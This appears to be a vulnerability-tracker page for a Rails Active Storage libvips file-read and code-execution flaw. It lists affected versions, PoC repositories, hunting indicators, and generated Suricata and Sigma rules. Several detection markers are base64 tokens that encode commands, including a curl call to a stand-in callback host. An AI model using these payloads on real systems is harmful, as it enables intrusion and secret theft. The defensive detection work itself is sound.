Rails
Action Pack: Possible arbitrary file read and remote code execution in Active Storage variant processing
Action Pack is a framework for handling and responding to web requests. In versions prior to 7.2.3.2, 8.0.5.1 and 8.1.3.1, Active Storage does not disable libvips operations marked unsafe for untrusted content, allowing a crafted upload to invoke such an operation. Consuming applications are affected when configured to use libvips and accept image uploads from untrusted users. An unauthenticated attacker may exploit this behavior to read arbitrary files accessible to the Rails process, including environment variables and application secrets. Exposure of credentials such as secret_key_base or external-service tokens may enable remote code execution or lateral movement. This issue has been fixed in versions 7.2.3.2, 8.0.5.1 and 8.1.3.1.
Affected versions and mitigation
From the CVE record and the vendor's references.Affected
- < 7.2.3.2
- >= 8.0.0.beta1, < 8.0.5.1
- >= 8.1.0.beta1, < 8.1.3.1
Fixed in 7.2.3.2, 8.0.5.1, 8.1.3.1
Mitigation
Upgrade rails to 7.2.3.2 or 8.0.5.1 or 8.1.3.1 or later.
References
- Vendor advisory github.com/rails/rails/security/advisories/GHS…
- Patch github.com/rails/rails/commit/1c01bb587206ee6e…
- Patch github.com/rails/rails/commit/349e7a5d5b4b715a…
4 more
- Patch github.com/rails/rails/commit/d79b7f4aa17dec8c…
- Release notes github.com/rails/rails/releases/tag/v7.2.3.2
- Release notes github.com/rails/rails/releases/tag/v8.0.5.1
- Release notes github.com/rails/rails/releases/tag/v8.1.3.1
Timeline
Days relative to CVE publicationFirst public PoC 22 h before publication; not in CISA KEV. First PoC: 0xBlackash/CVE-2026-66066 (created 29 Jul 2026, found by us: backfilled).
PoC repositories
Found on GitHub.10 PoCs · 1 pending
PoCs 10
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| paveg/rails-activestorage-vips-audit | 29 Jul 2026 −1.1 d | 0 | PoC older repo: PoC date unknown, not used for the first PoC |
| 0xBlackash/CVE-2026-66066 | 29 Jul 2026 −22 h | 1 | PoC |
| 0xredash/CVE-2026-66066 | 29 Jul 2026 −22 h | 1 | PoC |
| ashrafzaryouh/CVE-2026-66066 | 29 Jul 2026 −22 h | 1 | PoC |
| Zer0SumGam3/CVE-2026-66066-POC | 29 Jul 2026 −21 h | 23 | PoC
Flags · score 15
Below the suspicion threshold (50); does not change the assessment. |
| rails/rails-forensics-CVE-2026-66066 | 30 Jul 2026 +3 h | 30 | PoC |
| 0xsha/KindaRails2Shell | 31 Jul 2026 +22 h | 5 | PoC |
| HackSpeak/CVE-2026-66066 | 3 Aug 2026 +3.7 d | 4 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| shinthink/CVE-2026-66066 | 4 Aug 2026 +4.3 d | 1 | PoC |
| ivanesk315/CVE-2026-66066 | 10 Sep 2026 +42 d | 0 | PoC |
Pending 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| honghyewon29/CVE-2026-66066 | 12 Oct 2026 +73 d | 0 | Pending · repository unavailable (HTTP 404) |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| Metasploit | Metasploit exploit: Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution (exploit/multi/http/rails_activestorage_vips_rce) | 25 Aug 2026 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 10 PoC reposPOST /rails/active_storage/direct_uploads
- Key headers
Accept: application/json- Body markers
"blob""filename":"photo.bmp""content_type":"image/bmp""byte_size""checksum":"IsIJCofOetHI7sriDkWG/A=="inapplication/json- Ports
- 3000, 9999
- Seen in
- 2 repos: ivanesk315/CVE-2026-66066, shinthink/CVE-2026-66066
- Evidence
- ivanesk315/CVE-2026-66066/CVE-2026-66066.md:455 ivanesk315/CVE-2026-66066/attacker/step1_recon.py:83 ivanesk315/CVE-2026-66066/attacker/step3_file_read.py:50 ivanesk315/CVE-2026-66066/poc_manual.sh:59 shinthink/CVE-2026-66066/cve_2026_66066.py:475
POST /debug/execute
- Body markers
token=eyJjbWQiOiAiZWNobyBTSE9VTERfRkFJTCJ9--b5a0066b0096ee4b68149e4b9ae4d6d07c0f6df3a56225fc370d2df5030e7f05token=eyJjbWQiOiAiaWQgJiYgd2hvYW1pICYmIGhvc3RuYW1lIn0=--c51fb5c225a254d3e5a26c423a558d7153f277e59912dea4b52384746e6cd944token=eyJjbWQiOiAiY3VybCAtcyBodHRwOi8vY2FsbGJhY2stc2VydmVyOjk5OTkvcHduZWQgLWQgJ3JjZT1DVkUtMjAyNi02NjA2NicifQ==--624ca9f419c34ea7f596955251e46d7f960a3191bee4532be2867a79b316ce45token=inapplication/x-www-form-urlencoded- Ports
- 3000, 9999
- Seen in
- 1 repo: ivanesk315/CVE-2026-66066
- Evidence
- ivanesk315/CVE-2026-66066/CVE-2026-66066.md:604 ivanesk315/CVE-2026-66066/CVE-2026-66066.md:621 ivanesk315/CVE-2026-66066/CVE-2026-66066.md:646 ivanesk315/CVE-2026-66066/attacker/step4_forge_and_rce.py:103 ivanesk315/CVE-2026-66066/attacker/step4_forge_and_rce.py:160
GET /check
- Ports
- 3000, 9999
- Seen in
- 1 repo: ivanesk315/CVE-2026-66066
- Evidence
- ivanesk315/CVE-2026-66066/attacker/step4_forge_and_rce.py:133
GET /rails/active_storage/direct_uploads
- Seen in
- 1 repo: shinthink/CVE-2026-66066
- Evidence
- shinthink/CVE-2026-66066/cve_2026_66066.py:382
GET /rails/active_storage/disk/{var}
- Seen in
- 1 repo: shinthink/CVE-2026-66066
- Evidence
- shinthink/CVE-2026-66066/cve_2026_66066.py:562
GET /uploads/new
- Ports
- 3000, 9999
- Seen in
- 1 repo: ivanesk315/CVE-2026-66066
- Evidence
- ivanesk315/CVE-2026-66066/attacker/step1_recon.py:45
POST /pwned
- Body markers
rce=CVE-2026-66066inapplication/x-www-form-urlencoded- Ports
- 9999
- Seen in
- 1 repo: ivanesk315/CVE-2026-66066
- Evidence
- ivanesk315/CVE-2026-66066/callback/server.py:7
POST /uploads
- Body markers
upload[title]=recon_testupload[title]=CVE-2026-66066-exploitupload[file]=inapplication/x-www-form-urlencoded- Ports
- 3000, 9999
- Seen in
- 1 repo: ivanesk315/CVE-2026-66066
- Evidence
- ivanesk315/CVE-2026-66066/attacker/step1_recon.py:52 ivanesk315/CVE-2026-66066/attacker/step3_file_read.py:97
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/rails/active_storage/direct_uploads(?:[?#].*)?$
(?i)^/debug/execute(?:[?#].*)?$
(?i)^/check(?:[?#].*)?$
(?i)^/rails/active_storage/direct_uploads(?:[?#].*)?$
(?i)^/rails/active_storage/disk/[^/?#]*(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [3000,9999] (msg:"GG PoC-Monitor CVE-2026-66066 rails rails exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/rails/active_storage/direct_uploads"; http.header; content:"Accept: application/json"; nocase; http.request_body; content:"|22|blob|22|"; http.request_body; content:"|22|filename|22|:|22|photo.bmp|22|"; http.request_body; content:"|22|content_type|22|:|22|image/bmp|22|"; http.request_body; content:"|22|byte_size|22|"; http.request_body; content:"|22|checksum|22|:|22|IsIJCofOetHI7sriDkWG/A==|22|"; reference:url,poc.griffinguard.io/cve/CVE-2026-66066; classtype:web-application-attack; sid:9058691; rev:1;)
alert http any any -> $HOME_NET [3000,9999] (msg:"GG PoC-Monitor CVE-2026-66066 rails rails exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/debug/execute"; http.request_body; content:"token=eyJjbWQiOiAiZWNobyBTSE9VTERfRkFJTCJ9--b5a0066b0096ee4b68149e4b9ae4d6d07c0f6df3a56225fc370d2df5030e7f05"; http.request_body; content:"token=eyJjbWQiOiAiaWQgJiYgd2hvYW1pICYmIGhvc3RuYW1lIn0=--c51fb5c225a254d3e5a26c423a558d7153f277e59912dea4b52384746e6cd944"; http.request_body; content:"token=eyJjbWQiOiAiY3VybCAtcyBodHRwOi8vY2FsbGJhY2stc2VydmVyOjk5OTkvcHduZWQgLWQgJ3JjZT1DVkUtMjAyNi02NjA2NicifQ==--624ca9f419c34ea7f596955251e46d7f960a3191bee4532be2867a79b316ce45"; http.request_body; content:"token="; reference:url,poc.griffinguard.io/cve/CVE-2026-66066; classtype:web-application-attack; sid:9827155; rev:1;)
alert http any any -> $HOME_NET [3000,9999] (msg:"GG PoC-Monitor CVE-2026-66066 rails rails exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/check"; reference:url,poc.griffinguard.io/cve/CVE-2026-66066; classtype:web-application-attack; sid:9530116; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2026-66066 rails rails exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/rails/active_storage/direct_uploads"; reference:url,poc.griffinguard.io/cve/CVE-2026-66066; classtype:web-application-attack; sid:9361755; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2026-66066 rails rails exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/rails/active_storage/disk/"; reference:url,poc.griffinguard.io/cve/CVE-2026-66066; classtype:web-application-attack; sid:9555776; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: rails rails exploit attempt (CVE-2026-66066)
id: gg-pocmon-cve-2026-66066-9058691
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-66066. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-66066
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/rails/active_storage/direct_uploads'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.66066
title: rails rails exploit attempt (CVE-2026-66066)
id: gg-pocmon-cve-2026-66066-9827155
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-66066. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-66066
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/debug/execute'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.66066
title: rails rails exploit attempt (CVE-2026-66066)
id: gg-pocmon-cve-2026-66066-9530116
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-66066. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-66066
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/check'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.66066
title: rails rails exploit attempt (CVE-2026-66066)
id: gg-pocmon-cve-2026-66066-9361755
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-66066. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-66066
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/rails/active_storage/direct_uploads'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.66066
title: rails rails exploit attempt (CVE-2026-66066)
id: gg-pocmon-cve-2026-66066-9555776
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-66066. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-66066
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/rails/active_storage/disk/'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.66066